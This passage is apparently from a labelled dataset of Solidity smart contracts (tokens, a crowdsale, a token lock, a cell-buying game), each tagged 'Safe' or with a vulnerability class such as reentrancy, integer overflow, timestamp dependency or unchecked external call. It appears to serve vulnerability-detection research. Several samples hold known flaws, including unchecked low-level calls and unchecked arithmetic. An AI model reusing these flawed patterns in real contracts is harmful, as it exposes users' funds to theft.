uint256[] memory lastCellBoughtOnBlock = new uint256[](ranking.length); bytes32[] memory names = new bytes32[](ranking.length); for (uint256 i = 0; i < ranking.length; i++) { Player memory p = players[ranking[i]]; scores[i] = p.score; addresses[i] = ranking[i]; lastCellBoughtOnBlock[i] = p.lastCellBoughtOnBlockNumber; names[i] = p.name; } return (scores, lastCellBoughtOnBlock, addresses, names); } function getCells () external view returns (uint256[] _prices, uint256[] _nextPrice, address[] _owner, bytes32[] _names) { uint256[] memory prices = new uint256[](NUMBER_OF_CELLS); address[] memory owners = new address[](NUMBER_OF_CELLS); bytes32[] memory names = new bytes32[](NUMBER_OF_CELLS); uint256[] memory nextPrices = new uint256[](NUMBER_OF_CELLS); for (uint256 i = 0; i < NUMBER_OF_CELLS; i++) { prices[i] = priceOf(i); owners[i] = ownerOf(i); names[i] = players[ownerOf(i)].name; nextPrices[i] = nextPriceOf(i); } return (prices, nextPrices, owners, names); } function getPlayer () external view returns (bytes32 _name, uint256 _score, uint256 _earnings, uint256 _numberOfCellsBought) { return (players[msg.sender].name, players[msg.sender].score, earningsOfPlayer(), players[msg.sender].numberOfCellsBought); } function getCurrentPotSize () public view returns (uint256 _wei) { return potCut; } function getCurrentWinner () public view returns (address _address) { return rankOnePlayerAddress; } function getNumberOfBlocksRemainingToWin () public view returns (int256 _numberOfBlocks) { return int256(BLOCKS_TO_CONFIRM_TO_WIN_THE_GAME) - int256(block.number.sub(isFirstSinceBlock)); } function scoreOf (address _address) public view returns (uint256 _score) { return players[_address].score; } function ownerOf (uint256 _cellId) public view returns (address _owner) { return cells[_cellId].owner; } function isGameFinished() public view returns (bool _isGameFinished) { return rankOnePlayerAddress != address(0) && getNumberOfBlocksRemainingToWin() < 0; } function calculateScoresIfCellIsBought (address _newOwner, address _oldOwner, uint256 _cellId) internal view returns (uint256 _newOwnerScore, uint256 _oldOwnerScore) { uint256 oldOwnerScoreAdjustment = DEFAULT_POINTS_PER_CELL; uint256 newOwnerScoreAdjustment = DEFAULT_POINTS_PER_CELL; oldOwnerScoreAdjustment = oldOwnerScoreAdjustment.add(calculateNumberOfNeighbours(_cellId, _oldOwner).mul(POINTS_PER_NEIGHBOUR).mul(2)); newOwnerScoreAdjustment = newOwnerScoreAdjustment.add(calculateNumberOfNeighbours(_cellId, _newOwner).mul(POINTS_PER_NEIGHBOUR).mul(2)); if (_oldOwner == address(0)) { oldOwnerScoreAdjustment = 0; } return (scoreOf(_newOwner).add(newOwnerScoreAdjustment), scoreOf(_oldOwner).sub(oldOwnerScoreAdjustment)); } function calculateNumberOfNeighbours(uint256 _cellId, address _address) internal view returns (uint256 _numberOfNeighbours) { uint256 numberOfNeighbours; (uint256 top, uint256 bottom, uint256 left, uint256 right) = getNeighbourhoodOf(_cellId); if (top != NUMBER_OF_CELLS && ownerOf(top) == _address) { numberOfNeighbours = numberOfNeighbours.add(1); } if (bottom != NUMBER_OF_CELLS && ownerOf(bottom) == _address) { numberOfNeighbours = numberOfNeighbours.add(1); } if (left != NUMBER_OF_CELLS && ownerOf(left) == _address) { numberOfNeighbours = numberOfNeighbours.add(1); } if (right != NUMBER_OF_CELLS && ownerOf(right) == _address) { numberOfNeighbours = numberOfNeighbours.add(1); } return numberOfNeighbours; } function getNeighbourhoodOf(uint256 _cellId) internal pure returns (uint256 _top, uint256 _bottom, uint256 _left, uint256 _right) { uint256 topCellId = NUMBER_OF_CELLS; if(_cellId >= NUMBER_OF_LINES){ topCellId = _cellId.sub(NUMBER_OF_LINES); } uint256 bottomCellId = _cellId.add(NUMBER_OF_LINES); if (bottomCellId >= NUMBER_OF_CELLS) { bottomCellId = NUMBER_OF_CELLS; } uint256 leftCellId = NUMBER_OF_CELLS; if ((_cellId % NUMBER_OF_LINES) != 0) { leftCellId = _cellId.sub(1); } uint256 rightCellId = _cellId.add(1); if ((rightCellId % NUMBER_OF_LINES) == 0) { rightCellId = NUMBER_OF_CELLS; } return (topCellId, bottomCellId, leftCellId, rightCellId); } function _transfer(address _from, address _to, uint256 _cellId) internal { require(_cellId < NUMBER_OF_CELLS); require(ownerOf(_cellId) == _from); require(_to != address(0)); require(_to != address(this)); cells[_cellId].owner = _to; } function withdrawPot(string _message) public { require(!isContract(msg.sender)); require(msg.sender != owner); require(rankOnePlayerAddress == msg.sender); require(isGameFinished()); uint256 toWithdraw = potCut; potCut = 0; msg.sender.transfer(toWithdraw); TheEthGameTrophy trophy = TheEthGameTrophy(trophyAddress); trophy.award(msg.sender, _message); } function withdrawDevelopersCut () onlyOwner() public { uint256 toWithdraw = developersCut; developersCut = 0; owner.transfer(toWithdraw); } function withdrawEarnings () public { distributeEarningsBasedOnScore(msg.sender, address(0)); distributeEarningsBasedOnNumberOfCells(msg.sender); uint256 toWithdraw = earningsOfPlayer(); players[msg.sender].earnings = 0; msg.sender.transfer(toWithdraw); } function setName(bytes32 _name) public { if (nameToAddress[_name] != address(0)) { return; } players[msg.sender].name = _name; nameToAddress[_name] = msg.sender; } function nameOf(address _address) external view returns(bytes32 _name) { return players[_address].name; } function addressOf(bytes32 _name) external view returns (address _address) { return nameToAddress[_name]; } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } } contract TheEthGameTrophy { string public name; string public description; string public message; address public creator; address public owner; address public winner; uint public rank; bool private isAwarded = false; event Award(uint256 indexed _blockNumber, uint256 indexed _timestamp, address indexed _owner); event Transfer (address indexed _from, address indexed _to); constructor () public { name = ""The Eth Game Winner""; description = ""2019-08-17""; rank = 1; creator = msg.sender; } function name() constant public returns (string _name) { return name; } function description() constant public returns (string _description) { return description; } function message() constant public returns (string _message) { return message; } function creator() constant public returns (address _creator) { return creator; } function owner() constant public returns (address _owner) { return owner; } function winner() constant public returns (address _winner) { return winner; } function rank() constant public returns (uint _rank) { return rank; } function award(address _address, string _message) public { require(msg.sender == creator && !isAwarded); isAwarded = true; owner = _address; winner = _address; message = _message; emit Award(block.number, block.timestamp, _address); } function transfer(address _to) private returns (bool success) { require(msg.sender == owner); owner = _to; emit Transfer(msg.sender, _to); return true; } }",./Dataset/timestamp dependency (TP)/,6,6 0x047f7ee377242379189498670e17e0ab976e5935_ERC20Token.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 1000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000; // Update total supply (100000 for example) name = ""Krutakpartners""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""KPC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",Safe,8,8 37741.sol,"// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.13; contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract IPchainStandardToken is StandardToken { function () { //if ether is sent to this address, send it back. return; } string public version = 'I0.1'; //IPchainToken 0.1 standard. Just an arbitrary versioning scheme. string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX function IPchainStandardToken( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balances[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes decimals = decimalUnits; // Amount of decimals for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { return false; } return true; } }",./Dataset/reentrancy (RE)/,5,5 0x038ed35dde8f63b457d91e874f25e7ae41e15da8_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 28857600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xe99988705186AE5f10430ab25A8CD1C10fe959e9; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 0x022de5f5d6df5624487d9c51b0d496f9d8721878_RCCCrowdsale.sol,"pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => uint256) balances; /** * Protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnerChanged(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function changeOwner(address newOwner) onlyOwner internal { require(newOwner != address(0)); OwnerChanged(owner, newOwner); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { string public constant name = ""Coight Coin""; string public constant symbol = ""RCC""; uint8 public constant decimals = 18; event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) { balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Mint(_to, _amount); Transfer(_owner, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint internal returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(this.balance); return; } MintableToken token = MintableToken(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); Transfer(_token, owner, balance); } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale is Ownable { using SafeMath for uint256; // address where funds are collected address public wallet; // amount of raised money in wei uint256 public weiRaised; uint256 public tokenAllocated; function Crowdsale( address _wallet ) public { require(_wallet != address(0)); wallet = _wallet; } } contract RCCCrowdsale is Ownable, Crowdsale, MintableToken { using SafeMath for uint256; enum State {Active, Closed} State public state; mapping (address => uint256) public deposited; uint256 public constant INITIAL_SUPPLY = 400 * (10 ** 3) * (10 ** uint256(decimals)); uint256 public fundForSale = 375 * (10 ** 3) * (10 ** uint256(decimals)); uint256 public countInvestor; bool public saleToken = true; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Finalized(); function RCCCrowdsale( address _owner ) public Crowdsale(_owner) { require(_owner != address(0)); owner = _owner; transfersEnabled = true; mintingFinished = false; state = State.Active; totalSupply = INITIAL_SUPPLY; bool resultMintForOwner = mintForOwner(owner); require(resultMintForOwner); } modifier inState(State _state) { require(state == _state); _; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address _investor) public inState(State.Active) payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); if (deposited[_investor] == 0) { countInvestor = countInvestor.add(1); } deposit(_investor); wallet.transfer(weiAmount); return tokens; } function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) { uint256 amountOfTokens = _weiAmount.mul(100); return amountOfTokens; } function deposit(address investor) internal { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function mintForOwner(address _wallet) internal returns (bool result) { result = false; require(_wallet != address(0)); balances[_wallet] = balances[_wallet].add(INITIAL_SUPPLY); result = true; } function getDeposited(address _investor) public view returns (uint256){ return deposited[_investor]; } function validPurchaseTokens(uint256 _weiAmount) public inState(State.Active) returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (tokenAllocated.add(addTokens) > fundForSale) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } function finalize() public onlyOwner inState(State.Active) returns (bool result) { result = false; state = State.Closed; wallet.transfer(this.balance); finishMinting(); Finalized(); result = true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } }",Safe,8,8 855.sol,"pragma solidity ^0.4.24; contract ZEROxBTCLove { string public name = ""0xBTCLove""; string public symbol = ""0xBTCLove""; uint256 public decimals = 18; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (uint => bool) public ZEROxBTCLovers; uint256 public totalSupply = 0; modifier validAddress { assert(0x0 != msg.sender); _; } function ILove0xBTC(string reason) public { uint hash = uint(keccak256(bytes(reason))); if (!ZEROxBTCLovers[hash]){ ZEROxBTCLovers[hash] = true; balanceOf[msg.sender] += (10 ** 18); for (uint i = 0; i < 100; i++) { emit Transfer(0xB6eD7644C69416d67B522e20bC294A9a9B405B31, msg.sender, 10**18); } emit New0xBTCLove(msg.sender, reason); uint beforeSupply = totalSupply; totalSupply += (10 ** 18); assert(totalSupply > beforeSupply); } } function transfer(address _to, uint256 _value) public validAddress returns (bool success) { require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public validAddress returns (bool success) { require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); require(allowance[_from][msg.sender] >= _value); balanceOf[_to] += _value; balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public validAddress returns (bool success) { require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event New0xBTCLove(address who, string reason); }",./Dataset/integer overflow (OF)/,4,4 928.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract FEMCoin { string public name; string public symbol; uint8 public decimals = 2; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = 10000000000; balanceOf[msg.sender] = totalSupply; name = ""FEMCoin""; symbol = ""FEMC""; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }",./Dataset/integer overflow (OF)/,4,4 43786.sol,"pragma solidity ^0.4.15; /* CJX.io - ERC20 Token */ contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Token is ERC20 { function transfer(address _to, uint256 _value) returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract CJXToken is Token { string public name; uint8 public decimals; string public symbol; string public version = 'CJX0.1'; function CJXToken() { balances[msg.sender] = 1000000000000000000000000; totalSupply = 1000000000000000000000000; name = ""CJX COIN""; decimals = 18; symbol = ""CJX""; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } }",./Dataset/unchecked external call (UC),7,7 489.sol,"pragma solidity ^0.4.24; contract POOHMOevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 POOHAmount, uint256 genAmount, uint256 potAmount ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address 